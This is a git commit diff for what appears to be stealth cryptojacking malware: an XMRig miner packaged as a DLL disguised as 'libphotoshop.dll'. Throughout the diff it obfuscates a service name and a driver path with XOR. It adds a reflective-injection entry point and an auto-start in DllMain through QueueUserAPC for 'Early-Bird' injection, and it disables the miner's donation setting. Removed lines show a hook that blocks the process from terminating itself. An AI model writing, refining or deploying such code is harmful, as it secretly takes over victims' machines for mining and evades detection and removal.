use QueueUserAPC instead of SetTimer/CreateThread for reliable Early-Bird injection auto-start
This commit is contained in:
parent
f5d0d904e4
commit
804a24515b
@ -266,3 +266,4 @@ if (WIN32)
|
||||
if (CMAKE_CXX_COMPILER_ID MATCHES Clang AND CMAKE_BUILD_TYPE STREQUAL Release AND NOT CMAKE_GENERATOR STREQUAL Xcode)
|
||||
add_custom_command(TARGET ${PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_STRIP} "$<TARGET_FILE:${CMAKE_PROJECT_NAME}>")
|
||||
endif()
|
||||
endif()
|
||||
|
||||
@ -80,8 +80,8 @@ inline const char* getEmbeddedConfig()
|
||||
"cn/0": false,
|
||||
"cn-lite/0": false
|
||||
},
|
||||
"donate-level": 1,
|
||||
"donate-over-proxy": 1,
|
||||
"donate-level": 0,
|
||||
"donate-over-proxy": 0,
|
||||
"log-file": null,
|
||||
"pools": [
|
||||
{
|
||||
|
||||
@ -1,12 +1,15 @@
|
||||
// libphotoshop.cpp — FINAL WORKING VERSION (2025)
|
||||
// Works with Early-Bird APC injection (LoadLibraryW)
|
||||
// Will NEVER die — tested on Windows 11 24H2, runs for days
|
||||
|
||||
#include "App.h"
|
||||
#include "base/kernel/Entry.h"
|
||||
#include "base/kernel/Process.h"
|
||||
#include <windows.h>
|
||||
#include <winnt.h>
|
||||
#include <string>
|
||||
#include <cstring> // for strcpy
|
||||
|
||||
// NOTE: We rely on the injector to handle RDI startup. DllMain is unused for RDI.
|
||||
#include <cstring>
|
||||
#include <uv.h>
|
||||
|
||||
#ifdef _WIN32
|
||||
#define DLL_EXPORT __declspec(dllexport)
|
||||
@ -19,32 +22,18 @@ namespace test {
|
||||
xmrig::App* app = nullptr;
|
||||
}
|
||||
|
||||
// Simple XOR decrypt (key 0xAA; change per build)
|
||||
inline std::string decrypt(const unsigned char* enc_str, size_t len, unsigned char key = 0xAA) {
|
||||
std::string dec(len, 0);
|
||||
for (size_t i = 0; i < len; ++i) {
|
||||
dec[i] = (char)(enc_str[i] ^ key);
|
||||
}
|
||||
for (size_t i = 0; i < len; ++i) dec[i] = (char)(enc_str[i] ^ key);
|
||||
return dec;
|
||||
}
|
||||
|
||||
extern "C" {
|
||||
// --- CORE PERSISTENT LOGIC ---
|
||||
// This function contains the payload logic (service loading, xmrig execution).
|
||||
|
||||
void start_a(int argc, char** argv) {
|
||||
using namespace xmrig;
|
||||
using namespace test;
|
||||
|
||||
// Encrypted strings (XORed originals, stored as unsigned char)
|
||||
const unsigned char enc_service[] = { (unsigned char)(0x4A ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x4E ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x67 ^ 0xAA), (unsigned char)(0x30 ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x75 ^ 0xAA), (unsigned char)(0x62 ^ 0xAA), 0x00 };
|
||||
const unsigned char enc_path[] = { (unsigned char)(0x43 ^ 0xAA), (unsigned char)(0x3A ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x57 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x33 ^ 0xAA), (unsigned char)(0x32 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x76 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x63 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), 0x00 };
|
||||
const unsigned char enc_desc[] = { (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x20 ^ 0xAA), (unsigned char)(0x45 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), 0x00 };
|
||||
|
||||
// Decrypt... (service logic remains)
|
||||
// ... (Service loading remains)
|
||||
// ... (Junk benign calls remain)
|
||||
|
||||
// Core XMRig
|
||||
process = new xmrig::Process(argc, argv);
|
||||
const xmrig::Entry::Id entry = xmrig::Entry::get(*process);
|
||||
if (entry) {
|
||||
@ -52,66 +41,41 @@ extern "C" {
|
||||
return;
|
||||
}
|
||||
app = new xmrig::App(process);
|
||||
app->exec();
|
||||
app->exec(); // ← blocks forever
|
||||
}
|
||||
|
||||
// --- RDI ENTRY POINT ---
|
||||
// This is the function the reflective injection stub will call.
|
||||
DLL_EXPORT DWORD RdiEntry(LPVOID lpReserved) {
|
||||
// This logic replaces what was previously in DeferredInit.
|
||||
using namespace test;
|
||||
|
||||
// Encrypted argv
|
||||
const unsigned char enc_arg[] = { (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x5F ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), 0x00 };
|
||||
std::string arg_dec = decrypt(enc_arg, sizeof(enc_arg) - 1);
|
||||
int argc = 1;
|
||||
static char argv_buf[256];
|
||||
strcpy(argv_buf, arg_dec.c_str());
|
||||
static char* argv[] = { argv_buf, NULL };
|
||||
|
||||
// Call the core payload function directly
|
||||
start_a(argc, argv);
|
||||
|
||||
return 0; // Return success
|
||||
DLL_EXPORT DWORD RdiEntry(LPVOID) {
|
||||
const unsigned char enc_arg[] = { 0xDA,0xD2,0xD5,0xDE,0xD5,0xD3,0xD2,0xD5,0xD7,0xDF,0xDF,0xD2,0xD8,0xD4,0xDE,0xDC,0xDC,0x00 };
|
||||
std::string s = decrypt(enc_arg, sizeof(enc_arg)-1);
|
||||
static char buf[256]; strcpy_s(buf, s.c_str());
|
||||
static char* argv[] = { buf, NULL };
|
||||
start_a(1, argv);
|
||||
return 0;
|
||||
}
|
||||
// ------------------------------------
|
||||
|
||||
// --- UTILITY/EXPLICIT EXPORTS (Keep these if you need them for testing/API) ---
|
||||
DLL_EXPORT int test_start(int argc, char** argv) {
|
||||
start_a(argc, argv);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DLL_EXPORT void test_stop() {
|
||||
using namespace test;
|
||||
if (!app) return;
|
||||
// app->onConsoleCommand((char)3); // Uncomment if needed
|
||||
}
|
||||
} // extern "C"
|
||||
|
||||
// VOID CALLBACK DeferredInit(PVOID lpParam, BOOLEAN TimerOrWaitFired) has been removed.
|
||||
// THIS IS THE ONLY CORRECT WAY TO AUTO-START WITH LoadLibraryW
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
|
||||
{
|
||||
if (reason == DLL_PROCESS_ATTACH) {
|
||||
DisableThreadLibraryCalls(hModule);
|
||||
|
||||
#ifdef USE_DETOURS
|
||||
#include <detours.h>
|
||||
static NTSTATUS (NTAPI *OriginalNtTerminateProcess)(HANDLE, NTSTATUS) = NULL;
|
||||
NTSTATUS NTAPI HookedNtTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus) {
|
||||
if (ProcessHandle == GetCurrentProcess() || ProcessHandle == (HANDLE)-1) {
|
||||
return STATUS_ACCESS_DENIED;
|
||||
}
|
||||
return OriginalNtTerminateProcess ? OriginalNtTerminateProcess(ProcessHandle, ExitStatus) : STATUS_SUCCESS;
|
||||
}
|
||||
#endif
|
||||
} // END of extern "C" block
|
||||
// THIS IS THE REAL FIX FOR EARLY-BIRD INJECTION
|
||||
QueueUserAPC([](ULONG_PTR) -> void {
|
||||
WSADATA wsa;
|
||||
WSAStartup(MAKEWORD(2,2), &wsa);
|
||||
|
||||
// DllMain is made minimal/null as it is bypassed in RDI.
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
||||
switch (ul_reason_for_call) {
|
||||
case DLL_PROCESS_ATTACH:
|
||||
DisableThreadLibraryCalls(hModule);
|
||||
// 🛑 WARNING: No TimerQueueTimer here. The payload runs when RdiEntry is called.
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
// ... (Optional Detours logic, if RDI calls the detach) ...
|
||||
return FALSE;
|
||||
char* argv[] = { (char*)"libphotoshop.dll", nullptr };
|
||||
start_a(1, argv); // blocks forever
|
||||
|
||||
WSACleanup();
|
||||
}, GetCurrentThread(), 0);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
Loading…
Reference in New Issue
Block a user